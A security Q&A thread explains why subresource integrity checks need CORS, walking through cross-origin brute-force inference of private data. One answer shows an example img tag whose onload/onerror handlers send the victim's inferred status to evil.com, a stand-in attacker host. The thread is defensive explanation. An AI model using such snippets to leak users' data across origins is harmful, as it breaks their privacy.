What attacks are mitigated by requiring CORS for subresource integrity verification?

The attack

I think the attack they are trying to protect against is the following.

Imagine santaclause.com serves an image at santaclause.com/naughty_or_nice.png to logged in users. The image is a green checkmark if the logged in user has been nice, and a red X if they have been naughty. Mallory wants to know if Alice has been nice or not. So on evil.com he sets up the following on a page and sends the link to Alice, who clicks it.

<img src="santaclause.com/naughty_or_nice.png"
     integrity="sha256-{hash of nice image}"
     onload="document.location='http://evil.com?log=nice';"
     onerror="document.location='http://evil.com?log=naughty';"
>

When Alice views the page, the browser will send her session cookies to santaclause.com, which will respond with the nice image if she has been nice. The onload event will fire, and Mallory logs that she has been nice on evil.com. On the other hand, if she has been naughty the integrity check will fail and Mallory therefore knows that Alice has been naughty.

Because of the spec, this attack will fail. Since santaclause.com has not "explicitly granted access to the loading origin via CORS" the browser will not make the integrity check, and load the image even if the hash is wrong, thereby always firing the onload event and never the onerror event.

Without this detail in the spec, an attacker would gain the ability to make cross origin requests with the victim's credentials and get answers to questions of the kind "Was this the response?". While not as bad as being able to just read the response, it still allows the attacker to brute force what the response is if it comes from a small enough set of possible values.

Why it is not nonsensical

My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.

I'd say that the above is an attack on the user, not the server (even though the server is obviously involved).

A non-browser user agent can always fetch from a server without CORS.

Yes, but how does Mallory fool Alice into following the link in a non browser user agent?

I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

If you embed sensitive information in JS or CSS without CSRF protection you will expose it to cross origin attacks, yes. The specs have never pretended to protect against that.

However, they have claimed to protect against the same in images or JSON, and therefore must try to continue to do that even when new features are added.

[...] that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

As SilverlightFox points out in his answer, even anonymous requests can return sensitive information, e.g. if IP is used to return different content to different users. So sites should not be allowed to read the results of cross domain requests even if they do not contain any authentication headers.

[...]then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Yes, a site can infer information about the content of cross origin requests for stylesheets and JavaScript (thats why JSONP works, by the way). This is well known, and the specs have never pretended to protect against it.

If you expand this to allowing integrity checks for anynomous cross origin request, you expand that ability to work for all sorts of resources - JSON, XML, images etc, and not just JS and CSS.

Why? Because to infer any information about the content of a JS file it needs to actually execute, so it needs to be JS. If you include e.g. an XML file in a script tag all you get is a syntax error. But you could easily include an XML file with a script tag, slap an integrity attribute to it, and then learn about its content by checking if it loads or not.


What attacks are mitigated by requiring CORS for subresource integrity verification?

The Same Origin Policy is the cornerstone of the client-side security model of the web through the isolation of user data. As you already know, CORS relaxes the default SOP restrictions. Without relaxing these restrictions, the origin site has no right to inspect responses, including the integrity of a resource via the integrity attribute.

Requiring CORS mitigates attacks that would expose the privacy of user data. e.g. say a JavaScript file contains the email address of the logged in user:

email = "[email protected]";

Without the external site explicitly allowing the integrity to be checked would mean any site on the internet could brute force the email address by running a list of email addresses through the hashing algorithm (along with the rest of the JavaScript file) to see when it gets a match. This is what is meant by brute-forcing in the spec.

Onto your other points:

A non-browser user agent can always fetch from a server without CORS.

Client-side attacks always require the victim browser to play their part because it will supply the cookies in a credentialed request, or if another type of authentication mechanism is used (e.g. IP), then it will supply the victim's IP in a non-credentialled request. The attacker is not the one choosing the user agent, so taking non-browsers into the equation is a moot point.

I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

This is incorrect. Nothing legacy allows the reading of external resources by code. Yes, the browser itself can use JS and CSS external to the top level site, however this is not considered a CORS request because script from the origin is not reading the response - it's only the browser itself for rendering and for executing any script.

In my example above, there would be no way for the requesting origin site to read the literal code email = "[email protected]";, even before subresource integrity came about. If the email variable was in a closure, it wouldn't be queryable at all even by JavaScript on the origin site.

EDIT: While @Anders answered the rationale for using it with credentialed requests (ie. requests with session cookies or similar), that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

Remember, there are two crossorigin possible values:

  • crossorigin="anonymous"
  • crossorigin="use-credentials"

Because CORS is required on the external origin, it makes sense to specify the expected one in the current origin.

If the attack involves using onload or onerror to extract one bit of information based on whether the subresource matches a hash, then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Yes, you can examine the effects of an external CSS or JavaScript anyway, with or without CORS, as the resource applies in the context of your current site. However, you cannot view the actual source code from a cross-origin request. Enabling CORS allows this, because the CSS or JavaScript resource could then also be requested via XHR, rather than a <script> or <link> tag.

One such scenario that doesn't require credentials is if you imagine an authentication model that does not use cookies, an authentication header or certificates. The remote IP address is an excellent example.

If Anders' naughty_or_nice.png returned whether the user was good or bad based upon IP address rather than login credentials, then crossorigin="anonymous" would be fine, and the integrity of the resource could be checked if santaclause.com output Access-Control-Allow-Origin appropriately.

Otherwise it needs to be crossorigin="use-credentials" and santaclause.com must output Access-Control-Allow-Credentials: true as well as the ACAO header.

In the first example, the remote site can still control security. It still can examine the Origin request header and allow or deny the request with its CORS header. In the second, it just needs to apply its authorisation rules as normal.

So to sum up, the crossorigin tag is required so that the correct CORS header is sent (Origin), and if the external site allows (via CORS), the integrity tag allows the browser examine the response on behalf of the originating site.

That is:

  • crossorigin = I'm sending, and I expect either ACAO or ACAO and ACAC in response.
  • integrity = I'm receiving, and I'll check the hash from the external Origin if the aforementioned headers are appropriately returned.